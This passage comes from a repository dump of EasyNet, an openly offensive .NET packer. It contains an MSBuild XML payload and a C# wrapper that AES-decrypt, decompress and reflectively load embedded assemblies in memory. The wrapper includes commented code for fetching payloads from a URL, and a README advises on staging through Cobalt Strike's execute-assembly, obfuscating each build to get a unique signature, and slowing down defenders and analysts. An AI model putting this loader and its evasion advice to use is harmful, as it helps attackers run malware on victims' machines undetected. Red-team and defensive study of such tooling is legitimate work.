(threading == true) 97 | { 98 | //Create a new thread 99 | System.Threading.Tasks.Task t1 = new System.Threading.Tasks.Task(action); 100 | t1.Start(); 101 | //Use this if running standalone, testing, or there are no other continuous threads. 102 | //t1.Wait(); 103 | } 104 | else 105 | { 106 | action.Invoke(); 107 | } 108 | } 109 | } 110 | } 111 | } 112 | } 113 | } 114 | } 115 | }//end method 116 | }//end class 117 | }//end namespace 118 | -------------------------------------------------------------------------------- /ExamplePayload/msbuild_example.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | parameters = new List(); 28 | 29 | //parameters.Add("example"); 30 | 31 | object[] args = new object[] { parameters.ToArray() }; 32 | 33 | // Create an AesManaged object with the specified key and IV. 34 | using (AesManaged aesAlg = new AesManaged()) 35 | { 36 | //Decode and use the AES key and IV 37 | aesAlg.Key = Convert.FromBase64String("59Csp5LkkRFUYB4ItQnjQATft27chUCHtVNGc8WY/bw="); 38 | aesAlg.IV = Convert.FromBase64String("xOpJtzdoQkEfFHbB8v0LPQ=="); 39 | 40 | // Create a decryptor to perform the stream transform. 41 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 42 | 43 | // Create the streams used for decryption. 44 | using (MemoryStream msDecrypt = new MemoryStream(Convert.FromBase64String("opN9x+zw...snipped...KmD"))) 45 | { 46 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 47 | { 48 | using (MemoryStream decryptBuffer = new MemoryStream()) 49 | { 50 | //Decrypt the data 51 | csDecrypt.CopyTo(decryptBuffer); 52 | 53 | // Create the streams used to decompress 54 | using (MemoryStream compressedMemoryStream = new MemoryStream(decryptBuffer.ToArray())) 55 | { 56 | using (MemoryStream decompressedMemoryStream = new MemoryStream()) 57 | { 58 | compressedMemoryStream.Position = 0; 59 | using (GZipStream decompressionStream = new GZipStream(compressedMemoryStream, CompressionMode.Decompress)) 60 | { 61 | //Decompress the data 62 | decompressionStream.CopyTo(decompressedMemoryStream); 63 | 64 | Action action = () => 65 | { 66 | //FOR EXE 67 | //Assembly.Load(decompressedMemoryStream.ToArray()).EntryPoint.Invoke(null, args); 68 | 69 | //FOR DLL - NONSTATIC METHOD 70 | /** 71 | Assembly a = Assembly.Load(decompressedMemoryStream.ToArray()); 72 | Type t = a.GetType(a.GetTypes()[0].Namespace + ".Program"); 73 | object classInstance = Activator.CreateInstance(t, null); 74 | MethodInfo methodInfo = t.GetMethod("Main", BindingFlags.InvokeMethod | BindingFlags.NonPublic); 75 | methodInfo.Invoke(classInstance, args); 76 | **/ 77 | 78 | //FOR DLL - STATIC METHOD 79 | Assembly a = Assembly.Load(decompressedMemoryStream.ToArray()); 80 | Type t = a.GetType(a.GetTypes()[0].Namespace + ".Program"); 81 | MethodInfo methodInfo = t.GetMethod("Main", BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Static); 82 | methodInfo.Invoke(null, args); 83 | }; 84 | 85 | if (threading == true) 86 | { 87 | //Create a new thread 88 | System.Threading.Tasks.Task t1 = new System.Threading.Tasks.Task(action); 89 | t1.Start(); 90 | //Use this if running standalone, testing, or there are no other continuous threads. 91 | //t1.Wait(); 92 | } 93 | else 94 | { 95 | action.Invoke(); 96 | } 97 | } 98 | } 99 | } 100 | } 101 | } 102 | } 103 | } 104 | ]]> 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /ExampleWrapper/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/.keep -------------------------------------------------------------------------------- /ExampleWrapper/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ExampleWrapper/ExampleWrapper.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {37D6DD3F-5457-4D8B-A2E1-C7B156B176E5} 8 | Exe 9 | ExampleWrapper 10 | ExampleWrapper 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | True 50 | True 51 | Resources.resx 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | ResXFileCodeGenerator 60 | Resources.Designer.cs 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | {ba33f716-91e0-4cf7-b9bd-b4d558f9a173} 72 | EasyNetLibrary 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /ExampleWrapper/Program.cs: -------------------------------------------------------------------------------- 1 | /* Description: An example wrapper that uses the EasyNet packing algorithm. 2 | * Loads a packed Assembly and runs it using the Reflection API. 3 | * 4 | * Note: This example is NOT OpSec-safe. It is not intended to be. 5 | * Rather, it demonstrates how EasyNet can be combined with other tools for obfuscation. 6 | * 7 | * Author: The Wover 8 | * 9 | * Referemces: 10 | * See the EasyNetLibrary project in this solution for EasyNet documentation. 11 | * Reflection Loading: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load 12 | */ 13 | 14 | using EasyNetLibrary; 15 | using System.Reflection; 16 | 17 | namespace ExampleWrapper 18 | { 19 | class Program 20 | { 21 | static void Main(string[] args) 22 | { 23 | //Hardcode our AES variables. Bad idea, but useful for non-interactive staging and demonstrates the principle. 24 | string key = "zFNCf6AvQI7NCQrx43x6mIVmYYdZ+O1n+8NL29+IhEo="; 25 | string iv = "AxnDDpUzglq9HkkqbjNEnA=="; 26 | 27 | //Alternatively, get the AES variables as command-line arguments. 28 | //string key = args[0]; 29 | //string iv = args[1]; 30 | 31 | //Construct a struct to wrap the packed payload. 32 | EasyNetResult packed; 33 | 34 | //Save the AES variables. 35 | packed.key = key; 36 | packed.iv = iv; 37 | 38 | //Get the packed blob from the embedded resource 39 | packed.blob = Properties.Resources.HelloWorldPacked; 40 | 41 | //Payload could be embedded as a string 42 | //packed.blob = "OE/j...hl9L4"; 43 | 44 | //Payload could be passed in at runtime as a command-line argument. 45 | //This is most flexible, but least reliable. 46 | //packed.blob = args[2]; 47 | 48 | //Payload could also be retrieved from an URL (a la SharpCradle) 49 | /*MemoryStream stream = new MemoryStream(); 50 | WebClient client = new WebClient(); 51 | 52 | //Access web and read the bytes from the binary file 53 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12; 54 | stream = new MemoryStream(client.DownloadData(url); 55 | BinaryReader reader = new BinaryReader(stream); 56 | byte[] bytes = reader.ReadBytes(Convert.ToInt32(stream.Length)); 57 | stream.Close(); 58 | reader.Close(); 59 | packed.blob = System.Text.Encoding.ASCII.GetString(bytes)*/ 60 | 61 | //Unpack the payload. 62 | byte[] payloadBytes = EasyNetPacker.Unpack(packed); 63 | 64 | //Load the assembly payload from memory using the Reflection API 65 | Assembly asm = Assembly.Load(payloadBytes); 66 | 67 | //Dynamically infer the entry point of the patload 68 | MethodInfo entry = asm.EntryPoint; 69 | 70 | //Specify any command-line arguments for the payload. 71 | string[] payloadArgs = { }; 72 | 73 | //Set up the function signature of the Main entry point. 74 | object[] entryPointArgs = { payloadArgs }; 75 | 76 | //Invoke the entry point (run the payload) from memory. 77 | entry.Invoke(null, entryPointArgs); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /ExampleWrapper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ExampleWrapper")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ExampleWrapper")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("37d6dd3f-5457-4d8b-a2e1-c7b156b176e5")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ExampleWrapper/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace ExampleWrapper.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ExampleWrapper.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized string similar to OE/jm3XEM5J/HNka3GIDYADRdLV4O+P/N3bg5Zx5zKohBl2HTRrvudwM1AkHeCCSC74mjmzkDtLXfIoygvE9bKh5NZSMh1xoHtHV5T9OfBcTAZ/pEJmPNIX8QW10Hk/06ecaOcRYE4sOOBSg3h13tRgLVaTmOfgwykgYDA27QF/0e+AFdQn/fWhfQ2DKvOl4htLC/EWikeap1mYEntImcIs0p/P+BAFrTb88xEbHYjYgKz1DxtjNOC7Z4xGnz+K87xwEU7N/HbfhkjTa2+JpGXqkZR8J1Pz4ZlqHhlBDL9lb6zuocrkKd3WPGxPvbhv3Ar4Al/aEnZEKofp7ZEN2UpZoJcQq8QqzCfBdbQFPZmNiwXTBE7Iyj0O1/SphUr5FDN187g8Ce5BeaoC1tXRYycXwuXNzKRwXXBIdLTMN93R7QFRCY/ECqjsIBQmx5YA9adeGucZDVWXdtxNjD2I+6fAbZqdo603E6XbP6IxpKSHUZwpKuZPzFVrACtcfXUa/ [rest of string was truncated]";. 65 | /// 66 | internal static string HelloWorldPacked { 67 | get { 68 | return ResourceManager.GetString("HelloWorldPacked", resourceCulture); 69 | } 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /ExampleWrapper/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\HelloWorldPacked.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 123 | 124 | -------------------------------------------------------------------------------- /ExampleWrapper/README.md: -------------------------------------------------------------------------------- 1 | # ExampleWrapper 2 | Unpacks an EasyNet-packed .NET Assembly and runs it from memory using the Reflection API, passing in command-line arguments to the payload. Since the wrapper is, itself, a .NET Assembly, it can be run from existing execution vectors such as execute-assembly or DotNetToJScript. 3 | 4 | ExampleWrapper may use a payload that is: 5 | * Embedded as a literal string 6 | * Embedded as a file resource in its .NET Assembly. 7 | * Hosted at a URL. 8 | * Provided at runtime as a command-line argument. 9 | 10 | This wrapper is provided as a TEMPLATE ONLY. By default, it has a HelloWorld program embedded as a file resource. It loads that, using a hardcoded AES-256 key and IV. The intention is for you to customize it for your own use. Please feel free to do so. When you do, please do not provide attribution to me. ;-) 11 | 12 | # Usage 13 | 14 | First, use EasyNet.exe to pack some arbitrary data. Keep the key and IV that it provides for later use. 15 | 16 | Now, we must decide how we will provide the packed data to the unpacker. There are three methods provided with this example: 17 | 18 | 1) Embed as strings 19 | * Simply copy the blob that EasyNet spit out and paste it into the embedded_blob section in the source code. 20 | * Copy the key provided by EasyNet and paste it as the value for the aes_key section in the source code. 21 | * Build the wrapper using the instructions below. 22 | * As a result, the payload may be run without interaction. 23 | 2) Command-line arguments 24 | * Both the key and the payload may be passed in as command-line argument using the syntax below. 25 | 3) Resource 26 | * In Visual Studios, ... 27 | * With csc.exe, the command-line arguments ... will embed the payload as a file resource 28 | * With msc.exe (Mono), the command-line arguments ... will embed the payload as a file resource 29 | * As a result, the payload may be run without interaction 30 | 4) Hosted on a web-server 31 | * Copy the packed .NET Assembly payload to the location you wish to host it from. 32 | * Start the webserver. 33 | * Modify the wrapper code so that the URL is passed in either as a command-line or is hardcoded as a string. Some sample code is commented-out in the source. It uses WebClient to retrieve the payload from a URL. 34 | * As a result, you can update your payload on the webserver and clients will always load the latest version. 35 | 36 | Next, decide how you will provide the AES key. Just like the payload, it may be provided as an embedded string, a command-line argument, or a resource. Use the same methods described above to provide the AES key. 37 | 38 | Finally, ExampleWrapper must be built before it may be used. Refer to the Building section for details. 39 | 40 | Notes about using with Cobalt Strike's execute-assembly: 41 | * execute-assembly has an undocumented maximum file size of 1 MB. If you embed the payload as a large resource or blob, then this can cause your command to fail. 42 | * execute-assembly has an indefinitely-sized buffer for command-line arguments. If you run into issues with a file-size, then pass in the payload as a command-line argument. The GUI will look weird, but the command will still run. 43 | 44 | # Building 45 | ExampleWrapper may be built as either an EXE or DLL using Visual Studios, csc.exe, or msc.exe (the Mono compiler). It includes the standard Program.Main entry point, as well as an exported function (Wrapper.Exec). They both use the same syntax. 46 | 47 | If you want to add your own logic to ExampleWrapper, you may embed your DLLs (in a way that resolves references) using ILMerge (https://www.microsoft.com/en-us/download/details.aspx?id=17630) or Costura (https://github.com/Fody/Costura). 48 | 49 | 50 | # Recommendations 51 | 52 | * If you are only running this once or do not intend to embed your payloads, then remove the code for the other payload options. This reduces the size of the payload and complexity of the unpacker. 53 | * If you are going to run a payload through ExampleWrapper from disk on the target machine, then run ExampleWrapper through an obfuscator or such as Dotfuscator (https://www.preemptive.com/products/dotfuscator/overview) or CrpyStr (https://archive.codeplex.com/?p=cryptstr). This ensures that every single instance of ExampleWrapper will possess a unique signature. 54 | * If you wish ExampleWrapper to load its key and payload from files, that should be trivial to add. It is not included in this example because the goal is to demonstrate the possibilities of a generic packer like EasyNet, rather than provide a generic stager. 55 | * Some defenders are starting to recognize that the Reflection API may be used for evil. If you get caught because of this, then you should be able to integrate another loading mechanism. Again, the point of this wrapper is to show how to use EasyNet rather than how to load Assemblies. 56 | * Nothing about EasyNet or this wrapper prevents a resourceful malware analyst from reversing this wrapper or its payload. An analyst could easily reverse the EasyNet packing algorithm by inspecting the sequence of .NET API calls in ExampleWrapper through a tool like dnSpy. But, the process of recognizing the payload as unknown evil, obtaining it AND its key, and then sending it to an analyst for study takes time and resources that the defenders may not have. -------------------------------------------------------------------------------- /ExampleWrapper/Resources/HelloWorld.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/Resources/HelloWorld.exe -------------------------------------------------------------------------------- /ExampleWrapper/Resources/HelloWorldPacked.txt: -------------------------------------------------------------------------------- 1 | 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 -------------------------------------------------------------------------------- /ExampleWrapper/bin/Debug/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Debug/EasyNetLibrary.dll -------------------------------------------------------------------------------- /ExampleWrapper/bin/Debug/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Debug/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /ExampleWrapper/bin/Debug/ExampleWrapper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Debug/ExampleWrapper.exe -------------------------------------------------------------------------------- /ExampleWrapper/bin/Debug/ExampleWrapper.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ExampleWrapper/bin/Debug/ExampleWrapper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Debug/ExampleWrapper.pdb -------------------------------------------------------------------------------- /ExampleWrapper/bin/Release/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Release/EasyNetLibrary.dll -------------------------------------------------------------------------------- /ExampleWrapper/bin/Release/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Release/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /ExampleWrapper/bin/Release/ExampleWrapper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Release/ExampleWrapper.exe -------------------------------------------------------------------------------- /ExampleWrapper/bin/Release/ExampleWrapper.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ExampleWrapper/bin/Release/ExampleWrapper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/bin/Release/ExampleWrapper.pdb -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.Properties.Resources.resources -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.csproj.CopyComplete -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | de04ebed76928aae0c45d1cda7a26824169defcd 2 | -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.exe.config 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.exe 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.pdb 4 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Debug\EasyNetLibrary.dll 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Debug\EasyNetLibrary.pdb 6 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csprojAssemblyReference.cache 7 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.Properties.Resources.resources 8 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.GenerateResource.cache 9 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.CoreCompileInputs.cache 10 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.CopyComplete 11 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.exe 12 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.pdb 13 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.exe.config 14 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.exe 15 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Debug\ExampleWrapper.pdb 16 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Debug\EasyNetLibrary.dll 17 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Debug\EasyNetLibrary.pdb 18 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csprojAssemblyReference.cache 19 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.Properties.Resources.resources 20 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.GenerateResource.cache 21 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.CoreCompileInputs.cache 22 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.csproj.CopyComplete 23 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.exe 24 | 